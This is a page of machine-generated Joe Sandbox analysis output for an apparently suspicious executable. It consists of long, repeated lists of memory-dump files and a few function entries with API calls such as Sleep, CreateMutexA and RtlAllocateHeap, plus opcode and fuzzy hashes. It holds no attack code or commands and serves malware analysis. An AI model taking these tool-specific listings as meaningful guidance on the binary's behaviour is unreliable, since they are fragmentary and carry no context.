Associated: 00000002.00000002.2120284498.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120317028.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120346263.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120373433.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120397496.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120424970.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120449381.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120476130.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120499529.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120525744.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120550707.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120576866.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120606152.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120641311.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120673430.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120698104.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120797545.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120821484.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120844543.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120870310.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120899687.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120927411.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120951454.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: 39f112d13fd610fcafc4dd7f2eeb9614fb8f2fb1c5de1ad21527de99c431bb86
Instruction ID: 518fbb6e5311125b32cae01c9968215170c07af1ec8b0b78f57963a20747cf33
Opcode Fuzzy Hash: 39f112d13fd610fcafc4dd7f2eeb9614fb8f2fb1c5de1ad21527de99c431bb86
Instruction Fuzzy Hash: BA2172312792028BFB145B68985AB3D7351EFC2304F244C16E508F72C1CB7658F09D93

Function 0026A34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0026A963
CreateMutexA.KERNELBASE(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000002.00000002.2119047874.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000002.00000002.2119018904.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119047874.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119156004.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119185819.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119217596.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119407735.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119429382.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119475216.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119507280.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119609498.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119639462.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119671043.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119701440.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119736899.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119774514.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119808885.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119841155.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119879551.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119930185.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120109411.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120168366.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120204380.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120221769.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120249423.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120284498.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120317028.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120346263.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120373433.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120397496.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120424970.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120449381.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120476130.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120499529.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120525744.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120550707.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120576866.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120606152.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120641311.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120673430.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120698104.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120797545.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120821484.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120844543.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120870310.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120899687.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120927411.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120951454.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: 00aaa6b7d7201b8282ac09cadad02b4c096342f0f64983a88dc716c18f612835
Instruction ID: e2249d0001eb425995734d4e26035f3560b454483404475fcfd40fea39ae861b
Opcode Fuzzy Hash: 00aaa6b7d7201b8282ac09cadad02b4c096342f0f64983a88dc716c18f612835
Instruction Fuzzy Hash: 3D217C322252059BEB08DF28EC89B6CB775DBD1310F308219E509A73D4C77559E08A52

Function 0029D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0029A813,00000001,00000364,00000006,000000FF,?,0029EE3F,?,00000004,00000000,?,?), ref: 0029D871

Memory Dump Source

Source File: 00000002.00000002.2119047874.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000002.00000002.2119018904.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119047874.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119156004.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119185819.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119217596.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119407735.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119429382.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119475216.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119507280.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119609498.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119639462.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119671043.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119701440.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119736899.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119774514.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119808885.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119841155.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119879551.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119930185.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120109411.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120168366.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120204380.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120221769.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120249423.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120284498.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120317028.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120346263.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120373433.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120397496.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120424970.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120449381.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120476130.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120499529.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120525744.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120550707.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120576866.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120606152.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120641311.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120673430.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120698104.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120797545.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120821484.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120844543.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120870310.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120899687.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120927411.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120951454.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c1c40ae18d6074d78b287d69c479a43f5089527f249075fd99c49165f1a49218
Instruction ID: 881a7e63316c84fcef92a132b460ddf607a8d2c49103f9822fb3e7dc80cb6934
Opcode Fuzzy Hash: c1c40ae18d6074d78b287d69c479a43f5089527f249075fd99c49165f1a49218
Instruction Fuzzy Hash: 38F02E3553112666DF213E769C05B5B3759FF453B0B198021FD0897183DA30DC32A5E0

Non-executed Functions

Function 0029CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0029CC66

Strings

v), xrefs: 0029CBE1

Memory Dump Source

Source File: 00000002.00000002.2119047874.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000002.00000002.2119018904.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119047874.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119156004.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119185819.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119217596.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119407735.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119429382.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119475216.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119507280.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119609498.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119639462.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119671043.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119701440.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119736899.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119774514.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119808885.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119841155.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119879551.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119930185.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120109411.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120168366.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120204380.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120221769.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120249423.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120284498.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120317028.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120346263.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120373433.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120397496.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120424970.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120449381.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120476130.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120499529.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120525744.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120550707.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120576866.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120606152.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120641311.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120673430.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120698104.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120797545.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120821484.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120844543.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120870310.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120899687.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120927411.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120951454.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v)
API String ID: 3213747228-3756446336
Opcode ID: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction ID: 66550e2d0133cd2fa17909573d2ddcac394c55d298103f849a1d3249cd16b233
Opcode Fuzzy Hash: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction Fuzzy Hash: 41B11472D242869FDF15CF28C8817AEBFE5EF49340F3441AAE895EB242D6348D11CB60

Function 00262EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00262F5F
__Mtx_unlock.LIBCPMT ref: 00262FCC
__Cnd_broadcast.LIBCPMT ref: 00262FE3
__Mtx_unlock.LIBCPMT ref: 002630F5
__Mtx_unlock.LIBCPMT ref: 0026319B

Memory Dump Source

Source File: 00000002.00000002.2119047874.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000002.00000002.2119018904.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119047874.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119156004.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119185819.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119217596.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119407735.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119429382.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119475216.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119507280.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119609498.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119639462.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119671043.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119701440.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119736899.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119774514.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119808885.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119841155.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119879551.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119930185.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120109411.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120168366.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120204380.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120221769.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120249423.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120284498.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120317028.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120346263.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120373433.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120397496.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120424970.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120449381.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120476130.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120499529.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120525744.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120550707.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120576866.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120606152.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120641311.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120673430.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120698104.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120797545.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120821484.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120844543.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120870310.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120899687.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120927411.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120951454.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 5e8de039224b57483f75babc7716f28952e4bd9056623766967e0a5685436b20
Instruction ID: de4089cf581e5e79145c0f9cd60ce5ae1405010e3e8a5f1953a7e9882e6d18f5
Opcode Fuzzy Hash: 5e8de039224b57483f75babc7716f28952e4bd9056623766967e0a5685436b20
Instruction Fuzzy Hash: 99A1D1B0A21206DFDB20DF74C844B9AB7B8FF15310F148169E819D7681EB31EA68CBD1

Function 0027BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0027BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0027BBE4
_xtime_get.LIBCPMT ref: 0027BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0027BC13

Memory Dump Source

Source File: 00000002.00000002.2119047874.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000002.00000002.2119018904.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119047874.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119156004.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119185819.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119217596.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119407735.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119429382.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119475216.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119507280.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119609498.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119639462.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119671043.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119701440.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
